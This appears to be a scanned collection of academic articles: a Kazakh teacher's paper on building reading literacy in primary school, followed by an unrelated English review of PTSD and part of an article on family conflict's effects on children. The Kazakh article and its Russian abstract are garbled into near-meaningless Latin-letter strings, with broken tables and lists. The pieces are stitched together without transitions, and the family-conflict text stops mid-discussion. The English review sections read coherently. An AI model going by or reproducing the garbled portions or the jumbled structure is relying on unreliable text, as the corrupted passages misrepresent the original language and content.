Ne4 BanykaH benTipikoBa aTbiHAafbl MeKTen-anuen» KMM, bacmaysiw ColHbIN MYFAnimi

Angatna. byn makanana 6actaybill CbiHbIM OKYLLUbINAPbIHbIH, OKY CayaTTbl/blFblH AAMbITY
Macesieci KapacTbipblaaapl. ABTOP OKyLbINAPAbIH, MaTiHAI TYCiHY, Tanaay aHe 63 OMbIH Kyneni
XeTKize 6iny KabineTTepiH Ka/biNTacTbipy KOAAAPbIH HaKTbl 3JiCTEMENiK Tacinaep apKblibl
cunatTanabl. O3blK Neaarorvkanbik Taxipmbenepre cyieHe OTbIpbiN, aBTOP/bIK Oafaapiama
Heri3iHae OKy cayaTTbllblfblH apTTbipyda KOAAAHbIAFaH SAICTEPAiH, TWUIMAINIri AanengeHea,.
MaKanaga aficTeMeHi NpakTMKada KoAdaHy HaTuxKenepi MeH YcbiHbicTap bepinin, 6inim 6epy
canacblH apTTbipyfa KOCKaH yaeci capanaHazpl.

TyWiHAi ce3aep: OKy cayaTTbl/blFbl, MITIHMEH »YMbIC, OacTaybill CbiHbIM, ABTOPJIbIK,
baroapnama, TYCiHIN OKY, PYHKLNOHANAbIK OKY.

Kipicne

Kasipri 6inim Gepy kyheciHAe OKy cayaTTbiablfbl — OKylWblNapAablH, 6iniMm anyaafbl H6acTbl
Ky3blpeTTepiHiH, 6ipi. Ocipece 6acTayblll CbiHbIN  OKYLWbIAAPbIHbIH, ~ OKY  CayaTTblblfbiH
KanbINTacTblpy — onapAblH, 6onawaKkTa Oinimai, cbiH TYPFbiCbiHAH OMAAM anaTbiH, aknapaTtneH
YMbIC icTel bineTiH Tynfa 60bIN KanbinTacyblHa Heri3 6onaapl. KOHECKO aepekTepiHe cymeHcek,
OKY CayaTTbl/Iblfbl — KE3 KeJireH KOFamHbIH AaMybl MEH ©PKEH/eYiHiH HEeri3ri KepceTKilTepiHiH, Bipi
peTiHAe KapacTblpblaagb!.

KasakctaH  PecnybnuKkacbiHbiH,  binim  6epy  cTaHAapTbl  MEH  KaHapTbliFaH  OKy
HafaapnamanapbiHia OKy cayaTTbl/biFbl KeKe DafblT peTiHAe epeKLieneHin, apbip NoH MasmyHb!
apKblNbl AaMbITbINYbl Ke3aeneqi. byn pette 6acTayblll CbIHbINTA OKYLLbINAPAbIH, KaC epeKLleniriHe
Cal KeneTiH MaTiH TyYp/epi MeH Tancbipmanap, ANanorTiK OKbITY, CypaK KO0, MaTIH Tanaay aaictepi
MaHbI3abl pen aTKkapadbl. OKYLWbIHbIH OKY CayaTTbINbIFbIH KaAbINTaCTbIPYy — TEK MOTIHAI OKbIM LWbIFY
eMeC, OHblH Ma3MyHbIH TYCiHY, HEri3l OMbIH aHbIKTAy, CafbICTbIPy, KOPbITbIHAbI Kacay KaHe o3
Ke3KapacblH binaipe anybiH KaMTUAbI.

Ocbl MaKanada yCbIHbINLIN OTbIPFaH dJicTeMe aBTOP/bIK bafaapnamara Herizgenin, H6acTaybli
CbIHbINTafbl Ka3aK Tini MeH aaebueT cabakTapbiHAa, COHAAM-aK AyHWeTaHy MeH Oacka Aa
noHAepAe WHTerpaumanaHsaH Typae KonaaHbinapl. LleTenaik ToxipnbenepaeH PuHNAHAMSA,
CuHranyp, *anoHua enaepinin, 6actaybiw 6inim 6epy XyneciHaeri okyfa yMpeTy cTpaternsnaps
capanaHbin, OTaHAbIK Kafdafa MKemaeni.

MaKa/siaHblH, MaKcaTbl — OKY CayaTTblbIFbiH AaMbITyFa OafbiTTasFaH TUIMA] 84icTep MeH Tacinaepi
Toxipmnbene KonaaHy apKblabl 01apAblH HITUNKeNINITH KepceTy. MiHaeTTepi:
% OKy cayaTTbl/blfbl YFbIMbIHbIH, TEOPUANBIK HET3AEPIH aHbIKTAY;
ABTOP/IbIK 34iCTEMEHIH KYPbI/IbIMbIH CMNATTay;
OHbl OKY VAepiciHAe KONAaHYAbIH epeKLenikTepiH KepceTy;
9icTeMenik HaTMenepai Tanaan, yebiHbicTap 6epy [1].

X3
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7
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ogaicteme

BacTaybll CbiHbIN OKYLbLAAPbIHA OKY CayaTTblNbIFbIH AAMbITYAA KOMAAHbINFAH aBTOPbIK daicTeme
«OKMMbIH, TyciHemiH, Tangan atambiH» (OTTA) gen atanaapl. byn sgicteme Keneci TOPT Heri3ri
KeseHHeH Typaapl:

1. OKy — OKylWbl M3TiHAj KEeKe Hemece KynTa OkMAabl. MyHAa anabIMeH TaHbICTbIPY Ke3eH,,
AFHWU MTIH TaKblpblObliHa BoKam Kacay, WAOCTPaLMA BOMbIHLLIA CYPaKTap KO apKblbl
KbI3bIFYLUbIMbIK OATY *Ky3ere acagbl.

2. TyCiHy — OKyLWbINap MITIHHIH, Ma3MyHbIH TyCiHyre apHanfaH cypaKkTapfa kayan bepegi.
Mbicanbl, «byn oKkufa Kant »kepae 6onabi?», «Herisri keninkep Kim?», «Henikten bynai
bonabi?» 7.6.

3. Tangay — MOTIHHIH KypbIIbIMAbIK 371eMeHTTepiH (6acTanybl, Aamybl, asKTanybl),
KeninkepnepaiH, ic-opeKkeTTepiH Tangay, VYKCacTblK MeH alblpMallblibiKTbl  Taby
TanCbIpManapbl apKplabl CbiH TYPFbICbIHAH OMNay KaablinTacabl.

4. ANTy — oKyuWwbl 63 0MbiMeH Benicin, maTiH 6onbiHWa Nikip 6inaipeai, aBTop NO3MLMACLIMEH
Kenicy-kenicneyid binaipeni, emipmeH 6ainaHbICTbIpa OTbIPbIN MbICa KenTipea.

byn apicteme Bloom TakcoHoMMACkI MeH PISA oKy cayaTTbi/iblfbl TaflanTapbiHa COMKECTEHAiPINTEH.
CoHbIMEH KaTap, Keneci NefarornkanbiK TaCiNAep XKymeni KonaaHblAap!:

> INSERT agjici — maTiHAi oKy bapbicbiHAa 6enri Koto (bingim, skaHa aknapaT, cypak T1.6.)
RAFT apici — okyLbl M3TiH HerisiHAe Kelinkep peniHae o Ko3fanabl.
Knactep Kypy — Heri3ri oAbl aHbIKTan, BM3yaaabl TYPAe KOpCeTy.
®durwboyH aaici — ceben-canaap HalnaHbICbIH aHbIKTAY.
«3 cypak — 3 »Kayan» OoMblHbl — M3TIHAI KaHLIANbIKTbl TEPEH MEHTEPreHiH Tekcepy.

YV V V V

ABTOpP/IbIK 9AiCcTEMeE P TaKbIPbINKa cal MaTiHAEP, CypaKTap, TancbipManap MeH Kepi 6atnaHbic
TYPAepi 33ipaeHin, OKyLWbIHbIH, TYCiHIN OKY, NalbiMaay, AsNenaey KaHe nikip auTy AafablnapbiH
AambITyFa barbiTTangsl [2].

MpaKTMKaga Kongaxy
AsTopnblk «OTTA» saictemeci Ne 4 mekten-nuuenaid 2-4 coiHbinTapbiHaa 2023-2024 oKy

MbIbIHbIH, €KiHLLI TOKCaHbIHaH 6acTan KoAAaHblAAbl. OP CbiHbINTA anTacbiHa 2 pPeT apHalbl OKy
cayaTTbl/bIfbl CaFaTTapbl EHTI3i/iMN, COHbIH, afCbiHAA OKY CTpaTerManapbl XXymeni Typae eHrisingi.

CbIHbIN Takplipbin/ KongaHbinfaH OKRy apekKeTi/ Mymbic JambiTblnFaH
MaTiHaep a4ictep TYpi OaFabliap
2-CblHbIM «batbip 6ana INSERT, RAFT Keninkepnepain, TyCiHin OKy,
BonaT», «TyAKi apeKeTiH Tangay, «MeH | nanbimaay, e3iHAaiK
MeH eLKi» boncam...» nikip 6inaipy
Tancblpmacsl
3-CblIHbIN «EpTerinep TonTbIK ©3 epTericiH Kazy, cenney,
eniHae» YKYMbIC, epTeri KYPacTbIpy, OKY, LWbIFAapPMaLLbIAbIK,
»obanblK, KypacTblpy Tanaay Ma3MyH Kypay
anTanblfbl
4-CblHbIN «TabufaT — Kecte Kypy, Herisri aknapaTTbl AKNapaTTbIK OKY,
emip eseri» nikip »asy Taby, aBTop CbIHM OiNay,
(aknapaTTbIK Ke&3KapacblH aHbIKTay, O21e/IMEH cellney
MSTIiH) nikip 6inagipy
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o4icTeme HaTUXenepi:

»

Y V VYV
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MpoueHT (%)
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80% OKyLLbl MITIHMEH KYMbIC »Kacay bapbiCbiHA@ ©3 OMbIH KyMeni xKeTKize bacTapl;

75% OKyLWbl CypaKkTapFa HaKTbl }KaHE TO/bIK Kayan 6epyre mallblKTaHAb!;

90% OKYLLbl M3TIHAI OKYFa AereH Kbi3blfyLblAblfbl aPTTbl;

4-CblHbIN  OKylWblNapbl  apacbiHaa PISA  dopmaTbiHAafbl  TancbipmanapMeH  YMbIC
HOTUMKECIHAE OKY cayaTTbl/blFbl BOMbIHLLIA bl COHbIHAA 12% ecim Balikanap!.

Oky cayaTTblIbIFbIH AaMbITy HaTuxenepi (%)

90%

XKyneni o XeTKi3y HakTbl xayan bepy OKy¥a KbI3bIFYyLLbIbIK, PISA eciMmi (4-CbiHbIm)

ApTbIKLbINbIKTAPbI:

»

>
>
>

MBaTIHMEH TepeH, *KyMbIC;

CblIH TypFbICbIHAH OMNAyabIH AaMybl;

TONTbIK, XKYNTbIK }YMbICTAP apKblabl OKyLIbl benceHainiri apTagpl;
Tancbipmanap emipmeH 6aNaHbICTbl SKaHE OKYLbIFA KaKbIH.

KeMwinikTepi:

>
>

*aHanaH eHrisinreH afictepre yMpeHyre yakbiT KaxKeT,
Kenbip okyLwblinap ywiH MaTiH Ma3MyHbIH TYCiHiN Tanaay 6actankblaa Kypaeni KepiHea,.

¥YCbIHbICTap

2
L X4

344

BacTaybill CbiHbIN MyfaniMmaepi OKYy cayaTTbllblfblH AaMbiTy OOMbIHWA apHanbl
KYPCTapAaH eTKeH TiMmai;

Cabak HbapbiCbiHAA TEK KOPKEM MITIHMEH eMec, akKnapaTTbiK MaTIHAEPMEH [1& KYMbIC
YKacay KaxerT;

9icTemMeie KO/AAaHbINATbIH Tancbipmanap OKyllbl AeHreriHe cal ipikTenin, »KikTenin
bepinyi TMic;

*aHapTblnFaH oKy ©OafdapnamacbiHaarbl MIHAEPMEH bIKMANAACTbIPbIN KOAdaHy —
TUIMZINIKTI apTTbipadbl;

Kananblk Hemece MeKTeniliNik AeHrenae OKblbIM anTanblKTapblH YAbIMAACTbIPY — OKyFa
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KbI3bIFYLLbIbIKTbI OATaAbI;
+* HoTwxeHi bafanay ViWiH AMArHOCTMKaAbIK TancbipmManap MeH OKyLlbl NopTHOAMOCHIH
KONAaHy yCbiHblAaab! [3].

KopbITbIHAbI

KopbITbiHABIIAM  Kene, OKy cayaTTbiablfbl — 0Oinim  6epy »KyWeciHiH 6acTbl CTpaTernabik,
MaKcaTTapblHbIH, Oipi. bacTaybilW cbiHbin — OyA AafdblHbl KanbiNTAaCTbiPaTbliH LWELYLi Ke3eH.
YcbIHbINbIN OTbipFaH « OTTA» aaictemeci (OKMMbIH — TyciHemiH — Tangan aiiTaMblH) OKYLLbIHbIH, TEK
MTIHAI TYCiHYIH faHa eMec, OHbl TEPEH, Ta/4ar, 63 OMbIH HaKTbl XeTKi3e binyiH KamTamacsi3 eTeq,.
byn aaicteme PISA TananTapbiHa cal Kenin, GYHKUMOHANAbIK CayaTTbl/bIKTbl Ka/bINTacTblpyFa
HaKTbl OaFbITTaNFaH.

MakKkanaga cunatTajnfaH a4icTep MeH Taxipubenep OKy YPAICIH aHAaHAbIPbLIM, OKYLWbINAPAbIH,
NoHre AereH Kbi3blfyLbIAbIFbIH apTTbipbin, OenceHai oKy opTacbiH Kypyfa biknan eTTi. Cabak,
HapbICbiHAA MITIHMEH KYMEi SKYMbIC KYPri3y, TYPi cypakTap Ko, BU3yaansauma MeH Nikip anty
OKyLWblNapAablH OnnayblH AamMbITTbl. [MpaKTUKa HaTUXKeNepi afiCTeMEHIH TUIMAINIriH Aanengen,
OHbl BacKa CbIHbINTAp MeH NaHaepre berimaen KonaaHyfa 60NaTbIHAbIFbIH KOPCETTI.

CoHbIMeH KaTap, Oyn asgicTeMenik Tacin MyFaniMaepaiH, Kacibu Ky3blpeTTifiriH apTTbipyFa,
3amaHayun binim bepy TananTapbiHa berimaenyiHe cenTiriH Turiseai. DA4iCTEMEHIH, KYPblabiMbl,
KeseHaepi MeH Tacinaepi TYCIHIKTI api nkemai 6onfaHabIKTaH, OHbl Ke3 KeareH 6acTayblil CbiHbIM
MyFanimi e3 cabak, skyMeciHe oHal eHrise anapl.
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[PaMOTHOCTb YTEHWA B Ha4ya/bHOM LWKoNe

Hypranuesa Canpamrynb MyTaHOBHa

Kry «LlWkona-nuuen umenn banxkaH benbtnprkoson Ned» otaena obpasoBaHma Kopaaickoro
palroHa ynpasseHma obpasosBaHMa akmmaTta HKambbiackol obnactm

Y4yumersnb Ha4as16HbIX KNACCo8

AHHOTaUMA. B AaHHOW cTaTbe pacCMaTPMBAETCA BOMPOC Pa3BUTUS YMTATENbCKOM FPaMOTHOCTHU Y
yYalmMxca HavanbHbIX KiaccoB. ABTOP OMMCbIBAaeT MeToAbl GOPMMPOBAHMUA Yy LWKONbHMKOB
HaBbIKOB MOHMMAHMA TEKCTa, aHa/iM3a M YMEeHUs NocaefoBaTe/lbHO M3/araTb CBOM MbICAWN C
MOMOLLBIO KOHKPETHbIX MeTOANYECKMX NPpMEMOB. OCHOBbIBAACh Ha NepeOBOM MeaarormMyeckom
OnbITe, aBTOP AOKa3biBaeT 3PEeKTMBHOCTb METOAOB, MCMO/b30BaHHbIX B PaMKaxX aBTOPCKOM
NporpaMmmbl NO MOBbIWEHMIO YNTATENBCKOM FPAaMOTHOCTU. B cTaTbe npeacTaBieHbl pe3ynbTaTbl
NPUMEHEHNA MeTOAMKM Ha NPaKTUKe, AaHbl PEeKOMeHZaUMM M MNPOaHaAM3MPOBaH BKAag, B
NoBblWeHMe KayecTBa 0Opa3oBaHMA.
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Reading literacy in primary school

Nurgaliyeva Sayramgul Mutanovna

KSU «School-lyceum Ne 4 named after Balzhan Beltirikova» of the Department of Education of
Kordai District, under the Education Department of the Akimat of Zhambyl Region

Primary school teacher

Abstract. This article discusses the development of reading literacy in primary school students. The
author describes specific methodological approaches to developing students’ skills in
understanding texts, analyzing them, and expressing their thoughts coherently. Based on
advanced pedagogical practices, the effectiveness of the methods used within the author's
program to enhance reading literacy is demonstrated. The article provides practical
implementation results, offers recommendations, and evaluates the contribution to improving the
quality of education.

Keywords: reading literacy, working with text, primary school, author’s program, reading with
understanding, functional reading.
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1. Introduction

Post-Traumatic Stress Disorder (PTSD) is a psychiatric condition that can develop in individuals who
have been exposed to traumatic events such as war, sexual assault, natural disasters, or life-
threatening accidents. According to the Diagnostic and Statistical Manual of Mental Disorders, Fifth
Edition (DSM-5), PTSD is characterized by four main symptom clusters: intrusive recollections,
avoidance behaviors, negative alterations in cognition and mood, and hyperarousal (American
Psychiatric Association [APA], 2013). The International Classification of Diseases, 11th Revision
(ICD-11), also provides diagnostic criteria that emphasize re-experiencing, avoidance, and a
persistent sense of threat (World Health Organization [WHQ], 2019).

PTSD affects approximately 3.5% of the global population annually, with significantly higher
prevalence in populations exposed to combat, forced migration, and interpersonal violence
(Kessler et al., 2017). Although the majority of trauma-exposed individuals do not develop PTSD,
those who do may experience chronic symptoms that impair social, occupational, and
psychological functioning.

Understanding PTSD requires an interdisciplinary perspective that integrates clinical
symptomatology, neurobiological mechanisms, and therapeutic strategies. In recent decades,
neuroimaging and psychophysiological research have provided valuable insights into brain
structures and neurochemical processes implicated in PTSD, including dysfunctions in the
amygdala, hippocampus, prefrontal cortex, and the hypothalamic-pituitary-adrenal (HPA) axis
(Pitman et al., 2012).

Treatment approaches for PTSD have also evolved, ranging from first-line psychotherapies—such
as trauma-focused cognitive behavioral therapy (TF-CBT) and Eye Movement Desensitization and
Reprocessing (EMDR)—to pharmacological interventions targeting serotonergic and noradrenergic
systems. Moreover, PTSD is frequently comorbid with other psychiatric disorders, particularly
depression, anxiety disorders, substance use disorders, and dissociative conditions, complicating
both diagnosis and treatment planning.

This review aims to synthesize contemporary findings on the clinical presentation, neurobiological
basis, and treatment modalities of PTSD, with a particular focus on its comorbidity with other
mental health disorders. By presenting an integrated overview, the article seeks to inform future
research and enhance clinical practice.
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2. Clinical Symptomatology and Diagnosis

Post-Traumatic Stress Disorder (PTSD) manifests as a distinct constellation of symptoms that
emerge following exposure to actual or threatened death, serious injury, or sexual violence.
According to DSM-5, PTSD comprises four major symptom clusters:

1. Intrusion Symptoms: Recurrent, involuntary, and distressing memories of the traumatic
event; nightmares; flashbacks; and intense psychological or physiological distress in
response to trauma-related cues.

2. Avoidance: Efforts to avoid thoughts, feelings, people, places, or activities that are
reminders of the trauma.

3. Negative Alterations in Cognition and Mood: Persistent negative beliefs, distorted blame,
feelings of detachment, diminished interest in activities, and difficulty experiencing positive
emotions.

4. Hyperarousal: Irritability, hypervigilance, exaggerated startle response, concentration
difficulties, and sleep disturbances (APA, 2013).

The ICD-11 adopts a somewhat narrower framework, focusing on three core symptom domains:
re-experiencing the trauma in the present, avoidance of reminders, and a persistent sense of
current threat. This classification aims to improve diagnostic specificity and reduce overlap with
other disorders (WHO, 2019).

The temporal criterion in DSM-5 requires that symptoms persist for more than one month, and
cause clinically significant distress or impairment in functioning. Furthermore, the exposure must
meet Criterion A (exposure to actual or threatened death, serious injury, or sexual violence), which
can occur through direct experience, witnessing, learning about events affecting close others, or
repeated exposure to trauma details (e.g., first responders).

Diagnostic Tools and Assessment Instruments

Several standardized instruments are used to diagnose PTSD and assess symptom severity:

e Clinician-Administered PTSD Scale for DSM-5 (CAPS-5): Considered the gold standard in
PTSD assessment, CAPS-5 is a structured clinical interview that evaluates symptom
frequency and intensity.

e PTSD Checklist for DSM-5 (PCL-5): A widely used self-report measure to screen for PTSD
and monitor symptom changes during treatment.

e Mini-International Neuropsychiatric Interview (MINI) and Structured Clinical Interview for
DSM-5 (SCID-5): Comprehensive tools that assess PTSD alongside other psychiatric
diagnoses.

e International Trauma Questionnaire (ITQ): Specifically designed for ICD-11 diagnosis of
PTSD and Complex PTSD (CPTSD), focusing on core and additional symptom domains
(Cloitre et al., 2018).

It is important to consider differential diagnosis, as PTSD symptoms can overlap with depression,
generalized anxiety disorder, adjustment disorder, and borderline personality disorder. Clinicians
must carefully evaluate trauma history, symptom onset, and functional impairment in order to
ensure accurate diagnosis.

3. Neurobiological Mechanisms

The neurobiology of Post-Traumatic Stress Disorder (PTSD) involves complex alterations in brain
structure, function, and neuroendocrine regulation. Advances in neuroimaging and
neuroendocrinology have revealed key regions and systems implicated in the development and
maintenance of PTSD, particularly the amygdala, hippocampus, prefrontal cortex, and the
hypothalamic-pituitary-adrenal (HPA) axis.

3.1 Amygdala

The amygdala plays a central role in fear processing and threat detection. Neuroimaging studies
consistently show hyperactivity in the amygdala in individuals with PTSD, especially when exposed
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to trauma-related stimuli (Shin & Liberzon, 2010). This hyperreactivity may underlie the
exaggerated fear responses, emotional dysregulation, and hyperarousal symptoms characteristic
of PTSD.

3.2 Hippocampus

The hippocampus is involved in contextual memory and the regulation of stress responses. PTSD
patients often exhibit reduced hippocampal volume, which has been linked to impaired memory
consolidation and difficulty distinguishing between safe and dangerous environments (Gilbertson
et al., 2002). Chronic stress and elevated cortisol levels may contribute to hippocampal atrophy,
exacerbating symptom persistence.

3.3 Prefrontal Cortex

The medial prefrontal cortex (mPFC) and anterior cingulate cortex (ACC) are responsible for
executive functioning and top-down regulation of emotional responses. In PTSD, these regions
exhibit hypoactivation, impairing the ability to regulate amygdala activity and contributing to
emotional dysregulation, intrusive memories, and difficulty in cognitive reappraisal (Koenigs &
Grafman, 2009).

3.4 Hypothalamic-Pituitary-Adrenal (HPA) Axis

The HPA axis governs the body's hormonal response to stress. PTSD is associated with
dysregulation of cortisol secretion, often characterized by low baseline cortisol levels and
enhanced negative feedback sensitivity (Yehuda et al., 2004). This altered endocrine profile may
impair the consolidation of trauma memories and perpetuate physiological hyperarousal.

3.5 Neurochemical and Genetic Factors

Neurotransmitter imbalances also contribute to PTSD pathology:

e Serotonin (5-HT): Involved in mood regulation and emotional processing; SSRIs target this

system to alleviate symptoms.

e Norepinephrine (NE): Heightened levels are linked to hypervigilance and exaggerated

startle responses.

e Dopamine (DA): Alterations may contribute to anhedonia and cognitive dysfunction.
Recent studies have also explored epigenetic modifications and genetic predispositions, such as
polymorphisms in the FKBP5, BDNF, and COMT genes, which may modulate individual vulnerability
to PTSD following trauma (Binder et al., 2008).

Collectively, these neurobiological findings highlight PTSD as a disorder of impaired fear regulation,
dysfunctional stress reactivity, and disrupted memory integration. Understanding these
mechanisms is critical for developing targeted interventions and biomarkers for diagnosis and
treatment monitoring.

4. Treatment Approaches

Effective treatment of Post-Traumatic Stress Disorder (PTSD) requires a multifaceted approach that
considers the individual’s trauma history, symptom severity, comorbid conditions, and treatment
preferences. Current evidence supports trauma-focused psychotherapies as first-line
interventions, complemented by pharmacotherapy in moderate to severe cases or when
psychotherapy alone is insufficient.

4.1 Psychotherapeutic Interventions

4.1.1 Trauma-Focused Cognitive Behavioral Therapy (TF-CBT)

TF-CBT is among the most extensively studied and empirically supported treatments for PTSD. It
combines exposure-based techniques, cognitive restructuring, and stress management strategies
to help individuals process trauma memories and modify maladaptive beliefs (Foa et al., 2007). TF-
CBT has been found effective across diverse populations, including veterans, survivors of sexual
assault, and refugees.
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4.1.2 Eye Movement Desensitization and Reprocessing (EMDR)

EMDR integrates elements of CBT with bilateral sensory stimulation, such as eye movements or
tapping. It facilitates the reprocessing of traumatic memories by allowing patients to access and
adaptively integrate distressing experiences (Shapiro, 2017). EMDR is recommended by both the
World Health Organization (WHO) and the American Psychological Association (APA) as a first-line
treatment for PTSD.

4.1.3 Prolonged Exposure (PE) Therapy

PE therapy involves repeated, controlled exposure to trauma-related stimuli and memories to
reduce avoidance and desensitize the emotional response. It enhances extinction learning and
promotes habituation to trauma cues. PE is particularly effective in cases with prominent
avoidance and intrusive symptoms (Powers et al., 2010).

4.1.4 Narrative Exposure Therapy (NET)

NET is often used in low-resource or humanitarian settings and is designed for individuals with
complex trauma histories. It involves the construction of a chronological life narrative that
integrates traumatic and non-traumatic events, promoting emotional processing and coherence
(Schauer et al., 2011).

4.2 Pharmacological Interventions
4.2.1 Selective Serotonin Reuptake Inhibitors (SSRIs)
SSRIs, such as sertraline and paroxetine, are FDA-approved for PTSD and are typically first-line
pharmacological treatments. They alleviate core symptoms by increasing serotonin availability,
improving mood, reducing anxiety, and facilitating emotional regulation (Davidson et al., 2001).
4.2.2 Serotonin-Norepinephrine Reuptake Inhibitors (SNRIs)
Venlafaxine is sometimes used as an alternative to SSRIs, particularly in patients with comorbid
depression. It targets both serotonin and norepinephrine pathways, which may address
hyperarousal more effectively.
4.2.3 Prazosin
Prazosin, an alpha-1 adrenergic antagonist, is commonly used to treat trauma-related nightmares
and sleep disturbances. It reduces noradrenergic activity during sleep, improving overall sleep
quality in many patients (Raskind et al., 2007).
4.2.4 Emerging and Experimental Treatments
Innovative therapies are being investigated for treatment-resistant PTSD:
e Ketamine (NMDA receptor antagonist): Offers rapid reduction of PTSD symptoms,
particularly dissociative and depressive features (Feder et al., 2021).
e MDMA-assisted psychotherapy: Shows promise in Phase 3 trials, facilitating emotional
processing and trust during therapy (Mithoefer et al., 2019).
e Cannabinoids and neuromodulation technigues (e.g., TMS) are under investigation as
adjunctive approaches.While psychotherapeutic interventions remain the cornerstone of
PTSD treatment, pharmacological agents can enhance outcomes, particularly in complex
or comorbid presentations. An individualized treatment plan that combines modalities
based on clinical assessment is considered best practice.
5. Comorbid Conditions in PTSD
Post-Traumatic Stress Disorder (PTSD) rarely occurs in isolation. A substantial body of evidence
demonstrates high rates of psychiatric comorbidity in individuals with PTSD, complicating
diagnosis, treatment, and prognosis. Comorbid conditions can exacerbate PTSD symptoms, reduce
treatment responsiveness, and increase the risk for chronicity, functional impairment, and
suicidality (Brady et al., 2000).
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5.1 Major Depressive Disorder (MDD)

MDD is the most commonly comorbid condition with PTSD, with prevalence estimates ranging
from 48% to 55% in trauma-exposed populations (Flory & Yehuda, 2015). Shared features include
anhedonia, sleep disturbance, and cognitive impairments, although PTSD is uniquely characterized
by trauma-related symptoms. The presence of comorbid depression is associated with poorer
treatment outcomes and a greater likelihood of suicidal ideation, necessitating integrated
treatment approaches.

5.2 Anxiety Disorders

Generalized Anxiety Disorder (GAD), panic disorder, and social anxiety disorder frequently co-occur
with PTSD. These disorders share overlapping features such as hyperarousal, rumination, and
avoidance. Comorbidity with anxiety disorders may indicate heightened vulnerability to stress, and
may require both trauma-focused and anxiety-specific interventions.

5.3 Substance Use Disorders (SUDs)

PTSD is highly comorbid with alcohol and drug use disorders, particularly in populations such as
military veterans and sexual assault survivors. Substances are often used as a form of maladaptive
coping to manage intrusive symptoms or emotional numbing. This pattern, known as the self-
medication hypothesis, increases the risk of addiction and complicates PTSD treatment, as
substance use can interfere with emotional processing and therapeutic engagement (Jacobsen et
al., 2001).

5.4 Dissociative Disorders

A subset of individuals with PTSD, particularly those with early childhood or complex trauma,
present with dissociative symptoms such as depersonalization, derealization, and identity
fragmentation. The DSM-5 includes a “dissociative subtype” of PTSD, which is associated with
distinct neural patterns and poorer treatment response to traditional exposure-based therapies
(Lanius et al., 2012). Such cases may benefit more from stabilization-focused and phase-oriented
treatments.

5.5 Personality Disorders and Psychotic Features

There is growing recognition of the relationship between PTSD and borderline personality disorder
(BPD), especially in individuals with histories of interpersonal trauma. Symptom overlap includes
emotional dysregulation, impulsivity, and interpersonal instability. Additionally, trauma-related
psychotic symptoms such as paranoia and hallucinations may emerge, particularly in complex or
prolonged trauma exposure (Shevlin et al., 2007).

Understanding comorbidity in PTSD is crucial for:
o Differential diagnosis: Avoiding misclassification, especially when symptom profiles are

overlapping.

e Treatment planning: Prioritizing symptom clusters and identifying which condition is
primary.

e Prognosis: Recognizing that comorbidities often predict a more severe and chronic clinical
course.

Tailoring interventions to address both PTSD and comorbid conditions simultaneously improves
outcomes and supports holistic recovery.
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Abstarct: The objective of the present study is to identify the primary effects of family conflicts
on children and to examine how these effects influence their developmental levels. The key
impacts of intrafamilial conflicts on children's resilience include low self-esteem, mental
exhaustion, anxiety, poor academic performance, introversion, depression, self-criticism, and
others.

Method: The main method of the study is literature review analyzing. According to positivism
paradigm, the literature materials have been expolored, and the main ideas have been
demostrated.

Conclusion: The quality of the parents' relationship can continue to influence their children's
mental health and well-being even after the children have grown up and left home. Interpersonal
styles in their own relationships can exacerbate the impact of their parents' relationship on their
mental health.

Keywords: family conflict, child development, mental health, family conditions

Conflicts are inevitable in any society; however, while the primary focus is often on armed
conflicts, as well as ethnic, religious, economic, and political disputes, family conflicts have also
begun to hold a significant place in analytical discussions. The persistent presence of a conflict-
ridden environment within families can, over time, impact children's resilience levels. Intrafamilial
conflicts exert numerous adverse effects on children's development, particularly their mental well-
being, in addition to their physical health.

Furthermore, resilience is defined as a set of characteristics within the family and the ability of
family members to cope with encountered problems. It can be perceived as a collection of positive
behavioral and attitudinal patterns, as well as individual competencies, that are essential for
returning to a pre-crisis state. Based on this perspective, it can be asserted that if a child's
development is built upon a set of indicators such as physical health, psychological well-being,
family communication, and a harmonious family environment, their resilience is likely to be at a
higher level.

Conflict can arise when family members hold differing perspectives or beliefs that are in
contradiction with one another. Sometimes, misunderstandings and misinterpretations between
individuals can lead to conflict. Issues that are not resolved peacefully can escalate into disputes
and dissatisfaction. Occasional disagreements are a normal part of family life, and sporadic
conflicts are inevitable. However, ongoing conflict can result in stress and may damage
relationships. Some individuals struggle to manage their emotions, which can lead them to act
intentionally hurtful, aggressive, or even violent.

Such conflicts affect everyone in the family, but the impact on children can be profound in ways
that adults may not fully recognize. Parents involved in conflict must be especially careful about
what they communicate to their children through their words or actions. Children perceive any
conflict between their parents as a threat, leading to a psychological burden that may not be
immediately apparent. Moreover, the consequences of this burden may only manifest later, such
as in adolescence or early adulthood, through problematic behaviors. There is no age at which a
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child is no longer affected by family conflict—this holds true regardless of whether the parents are
still living together, on the verge of separation, or have separated some time ago.

We often observe three reactions in children to parental conflict, which can occur suddenly or
separately:

1. The child internalizes the family situation. To escape the distress and tension felt
from arguments and a tense atmosphere at home, the child withdraws into their own
world. As the child appears to be "well-behaved" on the outside, others may think the
situation isn't affecting the child or that they are coping well, when in fact, the conflict is
affecting the child much more deeply than they let on.

2. The child’s reactions are outwardly visible—they are anxious, irritable, or
aggressive. The child may exhibit poor behavior to express their distress and anxiety or to
divert the parents’ attention from their arguments. Parents may interpret these
manifestations simply as misbehavior and attempt to address them with the help of a
psychologist, psychiatrist, or neurologist. However, parents often fail to acknowledge that
the child's misbehavior is a result of their conflicts, or the consequences of separation or
divorce.

3. The child tries to take on parental responsibility (in other words, the child attempts
to play the role of a parent). The child tries to resolve the situation for the parents (for
example, "Dad, don’t do this to Mom," or "Mom, I'll tell Dad that you feel this way").

When emotions are real but invisible, the child's problems may not be immediately apparent,
as the child may hide their feelings, hoping that the situation will improve. During this period, they
may try hard to please their parents and keep their issues to themselves, while in reality, they
experience negative emotions such as anxiety, sadness, general depression, guilt, self-blame, fear,
and distrust due to divorce and conflicts.

Children experiencing family conflict may exhibit symptoms such as sleep disturbances,
attention deficit disorders, behavioral issues, refusal to obey parents, or psychosomatic problems
(headaches, stomachaches, etc.). The child may act out as an adversary or show aggressive
behaviors, and may also engage in risky behaviors. Often, the child’s performance and behavior at
school deteriorate (due to increased anxiety and reduced ability to concentrate), which may lead
to a decline in the quality of relationships with peers.

Children may experience uncertainty about the strength of the emotional connections essential
for their well-being as a result of unresolved and destructive parent-child conflicts. Consequently,
children may take actions to end the argument or withdraw into themselves to avoid such threats
and unpleasant emotions. Some children may blame themselves, which can diminish their sense
of self-worth. Children who are unable to stop their parents’ struggles may feel a sense of failure,
which can lead to depression. Parents may turn to the child for comfort or put excessive pressure
on the child in an attempt to compensate for the lost connection with their partner. This is known
as "compensatory displacement."

